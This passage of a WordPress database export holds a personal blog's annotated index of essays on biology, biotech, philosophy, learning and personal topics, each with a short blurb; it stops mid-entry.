(456,1,'2024-09-03 13:59:43','2024-09-03 13:59:43','<!-- wp:paragraph -->\n<p>Want my latest essays? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General 